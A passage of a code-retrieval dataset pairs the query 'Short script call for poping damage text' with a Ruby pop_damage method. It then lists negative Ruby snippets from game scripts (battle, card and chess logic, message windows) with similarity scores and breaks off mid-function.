"0.531608",
"0.53006995",
"0.529545",
"0.52662003",
"0.526434",
"0.52632475",
"0.5258972",
"0.5252849",
"0.5251519",
"0.5250388",
"0.52336395",
"0.5232099",
"0.5231066",
"0.5231066",
"0.5228299",
"0.5217268",
"0.52130723",
"0.52130723",
"0.52130723",
"0.5208353",
"0.5205881",
"0.5199442",
"0.51967263",
"0.51946",
"0.51830643",
"0.51781386",
"0.51699394",
"0.51635146",
"0.5160727",
"0.5159396",
"0.51561606",
"0.5154233",
"0.51443255",
"0.5140029",
"0.5137102",
"0.5137102",
"0.5133968",
"0.5126048",
"0.51248324",
"0.5115129"
] |
0.6219987
|
3
|
check if the game player and follower are executing an action
|
def battler_acting?
return true if @user_casting[0] > 0 || @targeting[0]
return true if @knockdown_data[0] > 0 and battler.deadposing.nil?
return true if @anime_speed > 0
return true if @hookshoting[0] || @making_spiral
if self.is_a?(Game_Player)
$game_player.followers.each {|f| return true if f.battler_acting?}
end
return false
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def check_follower_trigger_there(new_x, new_y)\n if @follower.x == new_x && @follower.y == new_y\n if @follower.is_a?(Game_Event)\n @follower.start\n else\n @follower.turn_toward_player\n $game_temp.common_event_id = Game_CommonEvent::FOLLOWER_SPEECH\n end\n return true\n end\n return false\n end",
"def player_action(command)\n case command\n when 'player.wait'\n return true\n when /^player\\.move_/\n direction = get_direction('player.move', command)\n destination = @level.creature_destination(@player, direction)\n if @level.creature_can_move?(@player, destination)\n @level.move_creature(@player, destination)\n return true\n else\n # TODO Try another action on the cell\n return false\n end\n when /^player.open_close/\n direction = get_direction('player.open_close', command)\n target = @level.creature_destination(@player, direction)\n # TODO Ensure that target is reachable\n @level.creature_open_close(@player, target)\n else\n return false\n end\n end",
"def can_player_make_another_action_choice?\n @player_actions.size.upto(@logic.battle_info.vs_type - 1) do |position|\n next_pokemon = @logic.battler(0, position)\n # If there's no Pokemon at this position, then it's probably the end of the team\n break unless next_pokemon\n # If it's not our Pokemon we don't control it\n next(@player_actions << {}) if next_pokemon.party_id != 0\n # If the Pokemon is dead, we also don't control it\n next(@player_actions << {}) if next_pokemon.dead?\n # This Pokemon can be controlled\n return true\n end\n return false\n end",
"def check player\n\t\tin_check = false\n\t\tenemy = player.name == \"Player1\" ? player2 : player1\n\t\tenemy.tokens.each do |token|\n\t\t\ttoken.each do |piece|\n\t\t\t\tif( piece.next_moves(@board).include?(player.tokens[-1][0].position) &&\n\t\t\t\t\t!piece.path_blocked?(player.tokens[-1][0].position, @board))\n\t\t\t\t\tin_check = true\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tin_check\n\tend",
"def did_player_win?\n if @players_1_turn\n did_mark_win?(PLAYERS_1_MARK)\n else\n did_mark_win?(PLAYERS_2_MARK)\n end\n end",
"def player_wins(player1_action, player2_action)\n if ((player1_action == \"R\" and player2_action == \"S\") or\n (player1_action == \"S\" and player2_action == \"P\") or\n (player1_action == \"P\" and player2_action == \"R\"))\n return true\n end\nend",
"def human_turn?\n @current_player != @computer_player\n end",
"def deuce?\n @player1.points == 3 && @player2.points == 3\n end",
"def played_by?(username)\n @first_player.name == username || @second_player.name == username\n end",
"def update_transferplayer?\r\n # Abort loop if player isn't place moving\r\n unless $game_temp.player_transferring\r\n return true\r\n end\r\n # Run place move\r\n transfer_player\r\n return false\r\n end",
"def terminal?\n (0..@players.length-1).all? {|ix| get_actions(ix).empty?}\n end",
"def is_current_players_turn?(current_player)\n if self.up_next == current_player.username\n true\n else\n false\n end\n end",
"def player_action\n @players.each{ |p|\n linebreak('-')\n p.hands.each_with_index{ |hand, index|\n hit = true\n double = p.wallet >= hand.bet\n while hit\n splittable = hand.pair? && p.wallet >= hand.bet\n status(p)\n hit, split = player_decision(p, hand, index, double, splittable)\n double = false unless split\n linebreak\n end\n }\n }\n end",
"def stop_game?\n finished? || user_turn?\n end",
"def dealer_turn\n if win_state == CHECK\n do_hit_or_stay(players[0])\n end\n end",
"def right_player?\n current_player == Player.find(@piece.owner)\n end",
"def game_over?\n remaining_players == 1\n end",
"def inside(player)\n acttions.each { |action| action.inside(player) }\n end",
"def entered(player)\n actions.each { |action| action.entered(player) }\n end",
"def ai_action()\n # sleep 3\n player = get_player(self.current_player)\n action_info = ai_one_logic(player)\n if player.ai == \"2\"\n action_info = ai_two_logic(player)\n end\n action(action_info[0], action_info[1], player.id) # this progresses current player and may progress round\n self.save\n end",
"def won?\n @game.started? && !detectives_won? && detectives_cannot_move?\n end",
"def game_over? \n @player1.is_dead? || @player2.is_dead?\n end",
"def confirmed_by(username)\n self.confirm1 if @first_player.name == username\n self.confirm2 if @second_player.name == username\n end",
"def game_with_two_players\n\t\t@current_turn = @player_one if @current_turn == false\n\t\tuntil check_or_checkmate(@current_turn) == \"CHECKMATE\"\n\t\t\tmove\n\t\t\tif @current_turn == @player_one\n\t\t\t\t@current_turn = @player_two\n\t\t\telsif @current_turn == @player_two\n\t\t\t\t@current_turn = @player_one\n\t\t\tend\n\t\t\tclear_screen\n\t\tend\n\tend",
"def end_state?\n not player_alive?(Player1) or not player_alive?(Player2)\n end",
"def caught_by_player?\n return flags.anybits?(FLAG_CAUGHT_BY_PLAYER)\n end",
"def is_acting_player?\n\t\t\t@_iap ||= @state_hash['state']['acting_player']['id'] == @player_id\n\t\tend",
"def is_acting_player?\n\t\t\t@_iap ||= @state_hash['state']['acting_player']['id'] == @player_id\n\t\tend",
"def played_by_users?(username1, username2)\n played_by?(username1) && played_by?(username2)\n end",
"def completed?(step)\n case step\n when :begin\n true\n when :waiver\n @player.signed_waiver?\n when :squad\n @player.joined_squad?\n when :off_campus\n !@player.off_campus.nil?\n when :confirm\n true\n when :done\n @player.registered == true\n end\n end",
"def turn_end?\n players.all?(&:cant_take_cards?) || players.any?(&:wants_open_cards?)\n end",
"def lives_checker\n if (player_1.lives == 0 || player_2.lives == 0)\n self.game_over\n else\n puts \"------NEW ROUND------\"\n self.start_game\n end\n end",
"def playing?\n self.in_progress? or self.caught_up?\n end",
"def action?\n action_channel.in_use?\n end",
"def check_for_game_over\n if @proposed_code == @secret_code && @player_role_selection == 'breaker'\n puts 'YOU WIN!'\n true\n elsif @proposed_code == @secret_code && @player_role_selection == 'maker'\n puts 'COMPUTER WINS!'\n true\n else\n false\n end\n end",
"def game_over\n remaining_player.count == 1\n end",
"def check_phase\n if @turn == Turn_Player\n if $game_system.acted.size >= (friends_of(Battler_Actor).select {|mem| !mem.death_state?}).size\n @phase_count += 1\n if @active_battler == nil\n $game_system.acted.clear\n set_turn( Turn_Enemy)\n next_enemy\n end\n end\n elsif @turn == Turn_Enemy\n if $game_system.acted.size >= (friends_of(Battler_Enemy).select {|mem| !mem.death_state?}).size\n @phase_count += 1\n if @active_battler == nil\n $game_system.acted.clear\n set_turn( Turn_Player)\n @cursor.moveto( tactics_actors.first)\n end\n end\n end\n end",
"def game_has_started?\n game.move > 0\n end",
"def game_play?()\n if self.admin\n return false\n elsif self.team.nil?\n return false\n elsif !self.team_adopt\n return false\n end\n game=Game[self.team.active_game]\n if game.nil?\n return false\n end\n\n if game.run?\n return true\n elsif game.owner?(self)\n return true\n end\n\n return false\n end",
"def onalg_player_has_moved(player,color, start_x, start_y, end_x, end_y)\r\n if player != @alg_player\r\n \r\n end\r\n end",
"def check_turn\n if @turn == Turn_Enemy\n next_enemy\n elsif @turn == Turn_Player\n next_actor\n end\n end",
"def can_call?(player)\n return (self.high_bet > player.in_pot_current)\n end",
"def game_over?\n (@player1.lives == 0) || (@player2.lives == 0)\n end",
"def game_ended?\n @player.reveal? || @player.cards.size == 3 || @dealer.cards.size == 3\n end",
"def player_turn\n hit_loop(@player)\n end",
"def playable?\n @my_turn && @game_status != :ended\n end",
"def ready_check(player)\n system 'clear'\n puts \"#{player.player_name},\".light_green + ' are you ready to act?'\n puts 'Enter ' + '(Y)es'.light_green + ' to continue'\nend",
"def main_commands_enabled\n $game_party.exists\n end",
"def main_commands_enabled\n $game_party.exists\n end",
"def main_commands_enabled\n $game_party.exists\n end",
"def won_game?\n @points > @opponent.points + 1 && @points >= 3\n end",
"def user_in_started_game?(input_user)\n self.started && self.playing_user_names.include?(input_user.nick)\n end",
"def calling_scene?\r\n $game_temp.battle_calling || $game_temp.shop_calling ||\r\n $game_temp.name_calling || $game_temp.menu_calling ||\r\n $game_temp.save_calling || $game_temp.gameover\r\n end",
"def player_action user_id, user_input=nil\n return false unless player_up?(user_id)\n current_player_index = player_index(user_id)\n \n # check if we are in bidding or playing a card\n if (!done_bidding?) && user_input.to_s !~ /^\\d+$/ # aka: user input == Card\n return false # correct user - played card rather than bid\n elsif !done_bidding?\n bid = user_input.to_i\n if !bid_in_range?(bid) \n return false\n elsif invalid_dealer_bid?(user_id, bid)\n return false\n end\n \n # record the bid\n config[:bids][current_player_index] = bid\n\n if config[:dealer_index] == current_player_index # dealer is last to bid, bidding is done\n set_first_to_play_hand\n else\n to_left = next_player_index config[:waiting_on_index]\n add_waiting_info(to_left, \"Bid\")\n end\n\n elsif !config[:player_hands][current_player_index].empty?\n # player is playing a card\n card = user_input\n \n # ensure that the card is in their inventory\n return false unless card_in_player_hand?(current_player_index, card)\n\n # ensure that the card is actually playable\n if config[:first_suit_played].nil?\n config[:first_suit_played] = card.suit\n if config[:first_suit_played] == config[:trump_card].suit && !ignore_trump? \n config[:last_to_lead_with_trump] = current_player_index\n end\n end\n playable_cards = get_playable_cards(config[:player_hands][current_player_index])\n # TODO: add a message here?\n return false unless playable_cards.include? card\n \n # actually play the card\n config[:cards_in_play][current_player_index] = config[:player_hands][current_player_index].delete(card)\n\n set_winner_card_index(current_player_index) # is this correct...\n # check to see if all players have played a card\n if all_players_played_a_card?\n add_waiting_info(config[:winner_index], 'Clear')\n else\n # set next player to play a card\n next_up = next_player_index(current_player_index)\n add_waiting_info(next_up, \"Play\")\n end\n end\n \n save_state config \n end",
"def finished?\n if @player_positions [\"b\"] > 80 \n return winner(@player[1])\n elsif @player_positions[\"a\"] > 80\n return winner(@player[0])\n end\n end",
"def out\n score_point(other_player)\n return false\n end",
"def finished?\n @turns_allowed < 0\n end",
"def game_over?\n alive_players.count == 1\n end",
"def is_game_over?; won_by?(:hunter) || won_by?(:prey) end",
"def following?(other_user)\n !follower_followships.find_by(followed_id: other_user.id).nil?\n end",
"def can?(user, action)\n return false unless @actions.key? action\n user.power_in(@room) >= @actions[action]\n end",
"def win?\n sleep(3)\n check_points\n end",
"def check_for_active_game\n # TODO\n end",
"def check_end_status\n\t\t\tif @board.winning_condition?(@player) || @board.winning_condition?(@ai) ||\n\t\t\t@board.get_available_positions == []\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
"def can_execute?(user, action)\n can = nil\n own = owns?(user)\n [[:open, :closed], :appealed, :escalated].each do |state|\n if state.is_a?(Array)\n if can.nil?\n can = user.has_permission?(:appeals, action, state[0], 'all') if self.send(state[0])\n else\n can = can && user.has_permission?(:appeals, action, state[0], 'all') if self.send(state[0])\n end\n can = can || (own && user.has_permission?(:appeals, action, state[0], 'own')) if self.send(state[0])\n\n if can.nil?\n can = user.has_permission?(:appeals, action, state[1], 'all') if !self.send(state[0])\n else\n can = can && user.has_permission?(:appeals, action, state[1], 'all') if !self.send(state[0])\n end\n can = can || (own && user.has_permission?(:appeals, action, state[1], 'own')) if !self.send(state[0])\n else\n if state == :appealed\n if can.nil?\n can = user.has_permission?(:appeals, action, state, 'all') if self.punishment.appealed?\n else\n can = can && user.has_permission?(:appeals, action, state, 'all') if self.punishment.appealed?\n end\n can = can || (own && user.has_permission?(:appeals, action, state, 'own')) if self.punishment.appealed?\n else\n if can.nil?\n can = user.has_permission?(:appeals, action, state, 'all') if self.send(state)\n else\n can = can && user.has_permission?(:appeals, action, state, 'all') if self.send(state)\n end\n can = can || (own && user.has_permission?(:appeals, action, state, 'own')) if self.send(state)\n end\n end\n end\n\n if self.locked?\n can = can && user.has_permission?(:appeals, action, :locked, 'all')\n can = can || (own && user.has_permission?(:appeals, action, :locked, 'own'))\n end\n\n can\n end",
"def hit?(hand, dealer_hand = nil)\n\t\t\t\tif hand.blackjack?\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\t\task_user\n\t\t\tend",
"def check_next_player(input)\n if input[:game].next_player_id == input[:user].id\n Success(input)\n else\n Failure(\"Unexpected move from #{input[:user].login}\")\n end\n end",
"def game_over?\n losing_players != nil ? true: false\n end",
"def taken?\n return !@player.nil?\n end",
"def in_this_hand?\n\t\t\t@state_hash['state']['players'].any? {|p| p['id'] == @player_id}\n\t\tend",
"def in_this_hand?\n\t\t\t@state_hash['state']['players'].any? {|p| p['id'] == @player_id}\n\t\tend",
"def following?\n user.present?\n end",
"def game_conditions\n\t\tcheck_condition\n\t\tif @current_player.in_check == true\n\t\t\tcheck_state\n\t\telsif @piece_name == \"pawn\"\n\t\t\tpromotion_check\n\t\tend\n\t\tchange_player\n\t\tshow_board\n\t\tcheck_condition\n\t\t\tif @current_player.in_check == true\n\t\t\t\tcheck_mate\n\t\t\t\tputs \"\\n#{@current_player.name} (#{@current_player.color}) you are in CHECK!\"\n\t\t\tend\n\t\tinput_validation\n\tend",
"def occasion_ok?(item)\r\n $game_party.in_battle ? item.battle_ok? : item.menu_ok?\r\n end",
"def win?\n if @player1.life == 0\n sleep(1)\n puts \"-- GAME OVER --\"\n sleep(1)\n puts \"#{@player2.name} wins!\"\n sleep(1)\n elsif @player2.life == 0\n sleep(1)\n puts \"-- GAME OVER --\"\n sleep(1)\n puts \"#{@player1.name} wins!\"\n sleep(1)\n else\n turn\n end\n end",
"def in_check(player, board)\r\n king_loc = find_my_king(player, board)\r\n dangerous_player = offending_player(king_loc, player, board)\r\n if dangerous_player.nil?\r\n return false \r\n end\r\n return true\r\n end",
"def is_player_follower?(c)\n return unless @followers\n return @followers.include?(c)\n end",
"def game_started_for (user)\n user_state[user] == :playing\n end",
"def deuce?\n @points == @opponent.points\n end",
"def has_follower?(actor)\n return true if actor == self\n !actor.contact_to!(self).blocked\n end",
"def won?\n won_checker\n end",
"def action_defined?\n # ReputationThreshold.action_defined?(self.action, self.tier)\n !self.action_points.nil?\n end",
"def did_player_win\n (@purses[@current_player] != 6)\n end",
"def process_ok\n Input.update\n $game_party.target_actor = $game_party.members[index] unless @cursor_all\n call_ok_handler\n end",
"def check_inputs args\n # if the game is over\n if args.state.game_state != \"playing\"\n # let the player press enter to restart\n if args.inputs.keyboard.key_down.enter\n # quick way to reset the whole game\n $gtk.reset\n end\n # stop processing this method and go back to the previous\n return\n end\n\n # player movement\n if args.inputs.left\n args.state.player_x -= args.state.player_speed\n end\n if args.inputs.right\n args.state.player_x += args.state.player_speed\n end\n\n # player shooting\n if args.inputs.keyboard.key_down.space\n shoot args\n end\nend",
"def check_replacement_action\n if location_changed? && location_was == 'hand'\n if state\n repl_action = PendingAction.find(state)\n\n other_trader = Player.find(player_id_was).cards.hand.of_type(self.class.to_s).where(['id != ?', self]).first\n\n if other_trader\n repl_action.expected_action.sub!(self.id.to_s, other_trader.id.to_s)\n other_trader.state = repl_action.id\n other_trader.save!\n else\n # We can't just destroy the action, since other code may be holding references\n # to it. Instead, mutate it into a no-op.\n repl_action.expected_action = \"resolve_#{self.class}#{id}_nothing\"\n repl_action.player = nil\n repl_action.save!\n end\n\n self.state = nil\n save\n end\n end\n\n true\n end",
"def deal?\n if self.finished?\n return self.local_goals == self.guest_goals\n end\n return false\n end",
"def must_be_my_turn\n @game = Game.find(params[:game_id])\n @player = Player.find(params[:id])\n unless @game.turn_player == @player\n render nothing: true, status: :forbidden\n end\n end",
"def game_over?\n return @gamestate.checkmate?(@current_player.team)\n end",
"def won_by?(player)\n\t\tcase player\n\t\twhen :hunter\n\t\t\tif players_within_distance?\n\t\t\t\t\"CAPTURE\"\n\t\t\telsif @prey.time_taken > $time_limit\n\t\t\t\t\"TIMEOUT\"\n\t\t\telse\n\t\t\t\tfalse\n\t\t\tend\n\t\twhen :prey\n\t\t\tif players_surrounded?\n\t\t\t\t\"ESCAPE\"\n\t\t\telsif hunter_trapped?\n\t\t\t\t\"ESCAPE\"\n\t\t\telsif @hunter.time_taken > $time_limit\n\t\t\t\t\"TIMEOUT\"\n\t\t\telse\n\t\t\t\tfalse\n\t\t\tend\n\t\tend\n\tend",
"def member_in_action(active)\n for battler in active.combination_battlers\n if battler != active and battler.current_phase != ''\n battler.current_phase = ''\n return true\n end\n end\n return false\n end",
"def game_over?\n return true if victory? || (@turns == 12)\n false\n end",
"def following?(user)\n !can_follow?(user)\n end",
"def game_over?\n true\n end",
"def result\n if (hand.player_points <= LIMIT_POINTS && hand.player_points > hand.points_dealer) ||\n (hand.player_points <= LIMIT_POINTS && hand.points_dealer > LIMIT_POINTS)\n :player_win\n elsif (hand.points_dealer <= LIMIT_POINTS && hand.points_dealer > hand.player_points) ||\n (hand.points_dealer <= LIMIT_POINTS && hand.player_points > LIMIT_POINTS)\n puts 'Dealer win.'\n :dealer_win\n else\n :draw\n end\n end",
"def action_blocked?(action)\n @blocked_actions.include?(action)\n end",
"def player_in_ongoing_game\n ongoing_game.player(self) rescue false\n end",
"def choose_action(player1, player2)\n\t\tputs \"Quelle action veux-tu effectuer ?\\n a - chercher une meilleure arme\\n s - chercher à se soigner \"\n\t\tputs \" attaquer un joueur en vue :\"\n\t\tif player1.life_points > 0 \n\t\t\tputs \" 0 - #{player1.show_state} \"\n\t\telse puts \" #{player1.name} est KO, aucun action possible\"\n\t\tend\n\t\tif player2.life_points > 0 \n\t\t\tputs \" 1 - #{player2.show_state}\"\n\t\telse puts \" #{player2.name} est KO, aucun action possible\"\n\t\tend\n\t\tprint \"> \"\n\t\treturn gets.chomp\nend",
"def check_permission\n if followable_type == \"User\"\n user = User.find(followable_id)\n follower = User.find(follower_id)\n \n errors.add(I18n::t('errors.follow.self_follow')) if user == follower\n errors.add(I18n::t('errors.follow.already_following')) if follower.follows?(user)\n end\n end",
"def game_over?\n method = game_over_method\n return unless method\n\n puts \"Game over by #{method}\"\n method == 'checkmate' ? puts(\"#{@current_player.colour} won!\") : puts(\"It's a draw!\")\n true\n end"
] |
[
"0.6903992",
"0.6797321",
"0.67035985",
"0.6558808",
"0.65544456",
"0.6514515",
"0.6471418",
"0.6412456",
"0.6354953",
"0.6318409",
"0.63113207",
"0.6252101",
"0.62439406",
"0.62260234",
"0.6203342",
"0.6194806",
"0.61806506",
"0.61745524",
"0.61683846",
"0.6153533",
"0.6153227",
"0.61440057",
"0.6134576",
"0.61299586",
"0.6124267",
"0.6119796",
"0.6118116",
"0.6118116",
"0.6108417",
"0.6107363",
"0.6095179",
"0.60905355",
"0.6089639",
"0.6076759",
"0.607649",
"0.60577106",
"0.6019349",
"0.60107595",
"0.60016996",
"0.59891075",
"0.5987249",
"0.5986582",
"0.5974913",
"0.5971761",
"0.59650373",
"0.5962241",
"0.595733",
"0.59505314",
"0.59505314",
"0.59505314",
"0.59463656",
"0.5928143",
"0.5906225",
"0.5900308",
"0.5900139",
"0.5896675",
"0.5891571",
"0.5883788",
"0.58811253",
"0.58770686",
"0.5863604",
"0.58611494",
"0.5856873",
"0.58517534",
"0.5843563",
"0.5841421",
"0.58393914",
"0.583127",
"0.58282447",
"0.5828219",
"0.5828219",
"0.58267975",
"0.5825379",
"0.5824892",
"0.58231616",
"0.58216107",
"0.5804438",
"0.58004653",
"0.5799368",
"0.5797801",
"0.57843775",
"0.5783325",
"0.57829654",
"0.5775698",
"0.5774581",
"0.57681566",
"0.57664067",
"0.57629925",
"0.57629615",
"0.5758925",
"0.57574195",
"0.57493573",
"0.5742643",
"0.57378143",
"0.5726961",
"0.5725579",
"0.57250184",
"0.5724928",
"0.5723993",
"0.57230115"
] |
0.65894246
|
3
|
Short script call for poping damage text
|
def pop_damage(custom=nil)
$game_player.damage_pop.push(DamagePop_Obj.new(self, custom))
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def display_guts_text(target)\n Sound.play_guts_text\n add_text(sprintf(target.personal_guts_text, target.name))\n wait\n end",
"def nosourceack(text)\n\t$k.kill\nend",
"def debriefingText _args\n \"debriefingText _args;\" \n end",
"def cutText _obj, _args\n \"_obj cutText _args;\" \n end",
"def single_exploit\n end",
"def work_out\n self.happiness += 2\n self.hygiene -= 3\n return \"♪ another one bites the dust ♫\" \n end",
"def slip_damage_effect_damage\r\n self.hp -= self.damage\r\n end",
"def get_popup_text()\r\n $jssh_socket.send(\"popuptext;\\n\", 0)\r\n return_value = read_socket()\r\n # reset the variable\r\n $jssh_socket.send(\"popuptext = '';\\n\", 0)\r\n read_socket()\r\n return return_value\r\n end",
"def sanitze_for_chat(text)\n # Remove bash colorings\n o = text.gsub(/\\x1B\\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]/, '')\n # Limit text to 50 lines\n o = (o.lines.to_a[0...49] << \"\\n... truncated to 50 lines\").join if o.lines.size > 50\n # return the output\n o\n end",
"def pop\n \" (void)stack_pop();\"\n end",
"def help_tip(text); \"\" end",
"def display_poison_end(pokemon)\n PFM::Text.set_pknick(pokemon, 0)\n display_message(parse_text(22, 110))\n end",
"def show_text_popup\n draw_icon(@icona,0,0)\n @icona == 0 ? d = 0 : d = 24\n self.contents.font.name = H87_Popup::FontName\n self.contents.font.size = H87_Popup::FontSize\n self.contents.font.outline = H87_Popup::FontOutline\n text = convert_escape_characters(@testo)\n text.gsub!(/\\eC\\[(\\d+)\\]/i,\"\")\n self.contents.draw_text(d,0,self.width-(self.padding*2)-d,line_height,text)\n end",
"def exploit\n end",
"def pbMessageDisplay(msgwindow,message,letterbyletter=true,commandProc=nil)\r\n return if !msgwindow\r\n oldletterbyletter=msgwindow.letterbyletter\r\n msgwindow.letterbyletter=(letterbyletter) ? true : false\r\n ret=nil\r\n commands=nil\r\n facewindow=nil\r\n goldwindow=nil\r\n coinwindow=nil\r\n battlepointswindow=nil\r\n cmdvariable=0\r\n cmdIfCancel=0\r\n msgwindow.waitcount=0\r\n autoresume=false\r\n text=message.clone\r\n msgback=nil\r\n linecount=(Graphics.height>400) ? 3 : 2\r\n ### Text replacement\r\n text.gsub!(/\\\\sign\\[([^\\]]*)\\]/i) { # \\sign[something] gets turned into\r\n next \"\\\\op\\\\cl\\\\ts[]\\\\w[\"+$1+\"]\" # \\op\\cl\\ts[]\\w[something]\r\n }\r\n text.gsub!(/\\\\\\\\/,\"\\5\")\r\n text.gsub!(/\\\\1/,\"\\1\")\r\n if $game_actors\r\n text.gsub!(/\\\\n\\[([1-8])\\]/i) {\r\n m = $1.to_i\r\n next $game_actors[m].name\r\n }\r\n end\r\n text.gsub!(/\\\\pn/i,$Trainer.name) if $Trainer\r\n text.gsub!(/\\\\pm/i,_INTL(\"${1}\",$Trainer.money.to_s_formatted)) if $Trainer\r\n text.gsub!(/\\\\n/i,\"\\n\")\r\n text.gsub!(/\\\\\\[([0-9a-f]{8,8})\\]/i) { \"<c2=\"+$1+\">\" }\r\n text.gsub!(/\\\\pg/i,\"\\\\b\") if $Trainer && $Trainer.male?\r\n text.gsub!(/\\\\pg/i,\"\\\\r\") if $Trainer && $Trainer.female?\r\n text.gsub!(/\\\\pog/i,\"\\\\r\") if $Trainer && $Trainer.male?\r\n text.gsub!(/\\\\pog/i,\"\\\\b\") if $Trainer && $Trainer.female?\r\n text.gsub!(/\\\\pg/i,\"\")\r\n text.gsub!(/\\\\pog/i,\"\")\r\n text.gsub!(/\\\\b/i,\"<c3=3050C8,D0D0C8>\")\r\n text.gsub!(/\\\\r/i,\"<c3=E00808,D0D0C8>\")\r\n text.gsub!(/\\\\[Ww]\\[([^\\]]*)\\]/) {\r\n w = $1.to_s\r\n if w==\"\"\r\n msgwindow.windowskin = nil\r\n else\r\n msgwindow.setSkin(\"Graphics/Windowskins/#{w}\",false)\r\n end\r\n next \"\"\r\n }\r\n isDarkSkin = isDarkWindowskin(msgwindow.windowskin)\r\n text.gsub!(/\\\\[Cc]\\[([0-9]+)\\]/) {\r\n m = $1.to_i\r\n next getSkinColor(msgwindow.windowskin,m,isDarkSkin)\r\n }\r\n loop do\r\n last_text = text.clone\r\n text.gsub!(/\\\\v\\[([0-9]+)\\]/i) { $game_variables[$1.to_i] }\r\n break if text == last_text\r\n end\r\n loop do\r\n last_text = text.clone\r\n text.gsub!(/\\\\l\\[([0-9]+)\\]/i) {\r\n linecount = [1,$1.to_i].max\r\n next \"\"\r\n }\r\n break if text == last_text\r\n end\r\n colortag = \"\"\r\n if $game_system && $game_system.respond_to?(\"message_frame\") &&\r\n $game_system.message_frame != 0\r\n colortag = getSkinColor(msgwindow.windowskin,0,true)\r\n else\r\n colortag = getSkinColor(msgwindow.windowskin,0,isDarkSkin)\r\n end\r\n text = colortag+text\r\n ### Controls\r\n textchunks=[]\r\n controls=[]\r\n while text[/(?:\\\\(f|ff|ts|cl|me|se|wt|wtnp|ch)\\[([^\\]]*)\\]|\\\\(g|cn|pt|wd|wm|op|cl|wu|\\.|\\||\\!|\\^))/i]\r\n textchunks.push($~.pre_match)\r\n if $~[1]\r\n controls.push([$~[1].downcase,$~[2],-1])\r\n else\r\n controls.push([$~[3].downcase,\"\",-1])\r\n end\r\n text=$~.post_match\r\n end\r\n textchunks.push(text)\r\n for chunk in textchunks\r\n chunk.gsub!(/\\005/,\"\\\\\")\r\n end\r\n textlen = 0\r\n for i in 0...controls.length\r\n control = controls[i][0]\r\n case control\r\n when \"wt\", \"wtnp\", \".\", \"|\"\r\n textchunks[i] += \"\\2\"\r\n when \"!\"\r\n textchunks[i] += \"\\1\"\r\n end\r\n textlen += toUnformattedText(textchunks[i]).scan(/./m).length\r\n controls[i][2] = textlen\r\n end\r\n text = textchunks.join(\"\")\r\n signWaitCount = 0\r\n signWaitTime = Graphics.frame_rate/2\r\n haveSpecialClose = false\r\n specialCloseSE = \"\"\r\n for i in 0...controls.length\r\n control = controls[i][0]\r\n param = controls[i][1]\r\n case control\r\n when \"op\"\r\n signWaitCount = signWaitTime+1\r\n when \"cl\"\r\n text = text.sub(/\\001\\z/,\"\") # fix: '$' can match end of line as well\r\n haveSpecialClose = true\r\n specialCloseSE = param\r\n when \"f\"\r\n facewindow.dispose if facewindow\r\n facewindow = PictureWindow.new(\"Graphics/Pictures/#{param}\")\r\n when \"ff\"\r\n facewindow.dispose if facewindow\r\n facewindow = FaceWindowVX.new(param)\r\n when \"ch\"\r\n cmds = param.clone\r\n cmdvariable = pbCsvPosInt!(cmds)\r\n cmdIfCancel = pbCsvField!(cmds).to_i\r\n commands = []\r\n while cmds.length>0\r\n commands.push(pbCsvField!(cmds))\r\n end\r\n when \"wtnp\", \"^\"\r\n text = text.sub(/\\001\\z/,\"\") # fix: '$' can match end of line as well\r\n when \"se\"\r\n if controls[i][2]==0\r\n startSE = param\r\n controls[i] = nil\r\n end\r\n end\r\n end\r\n if startSE!=nil\r\n pbSEPlay(pbStringToAudioFile(startSE))\r\n elsif signWaitCount==0 && letterbyletter\r\n pbPlayDecisionSE()\r\n end\r\n ########## Position message window ##############\r\n pbRepositionMessageWindow(msgwindow,linecount)\r\n if facewindow\r\n pbPositionNearMsgWindow(facewindow,msgwindow,:left)\r\n facewindow.viewport = msgwindow.viewport\r\n facewindow.z = msgwindow.z\r\n end\r\n atTop = (msgwindow.y==0)\r\n ########## Show text #############################\r\n msgwindow.text = text\r\n Graphics.frame_reset if Graphics.frame_rate>40\r\n loop do\r\n if signWaitCount>0\r\n signWaitCount -= 1\r\n if atTop\r\n msgwindow.y = -msgwindow.height*signWaitCount/signWaitTime\r\n else\r\n msgwindow.y = Graphics.height-msgwindow.height*(signWaitTime-signWaitCount)/signWaitTime\r\n end\r\n end\r\n for i in 0...controls.length\r\n next if !controls[i]\r\n next if controls[i][2]>msgwindow.position || msgwindow.waitcount!=0\r\n control = controls[i][0]\r\n param = controls[i][1]\r\n case control\r\n when \"f\"\r\n facewindow.dispose if facewindow\r\n facewindow = PictureWindow.new(\"Graphics/Pictures/#{param}\")\r\n pbPositionNearMsgWindow(facewindow,msgwindow,:left)\r\n facewindow.viewport = msgwindow.viewport\r\n facewindow.z = msgwindow.z\r\n when \"ff\"\r\n facewindow.dispose if facewindow\r\n facewindow = FaceWindowVX.new(param)\r\n pbPositionNearMsgWindow(facewindow,msgwindow,:left)\r\n facewindow.viewport = msgwindow.viewport\r\n facewindow.z = msgwindow.z\r\n when \"g\" # Display gold window\r\n goldwindow.dispose if goldwindow\r\n goldwindow = pbDisplayGoldWindow(msgwindow)\r\n when \"cn\" # Display coins window\r\n coinwindow.dispose if coinwindow\r\n coinwindow = pbDisplayCoinsWindow(msgwindow,goldwindow)\r\n when \"pt\" # Display battle points window\r\n battlepointswindow.dispose if battlepointswindow\r\n battlepointswindow = pbDisplayBattlePointsWindow(msgwindow)\r\n when \"wu\"\r\n msgwindow.y = 0\r\n atTop = true\r\n msgback.y = msgwindow.y if msgback\r\n pbPositionNearMsgWindow(facewindow,msgwindow,:left)\r\n msgwindow.y = -msgwindow.height*signWaitCount/signWaitTime\r\n when \"wm\"\r\n atTop = false\r\n msgwindow.y = (Graphics.height-msgwindow.height)/2\r\n msgback.y = msgwindow.y if msgback\r\n pbPositionNearMsgWindow(facewindow,msgwindow,:left)\r\n when \"wd\"\r\n atTop = false\r\n msgwindow.y = Graphics.height-msgwindow.height\r\n msgback.y = msgwindow.y if msgback\r\n pbPositionNearMsgWindow(facewindow,msgwindow,:left)\r\n msgwindow.y = Graphics.height-msgwindow.height*(signWaitTime-signWaitCount)/signWaitTime\r\n when \"ts\" # Change text speed\r\n msgwindow.textspeed = (param==\"\") 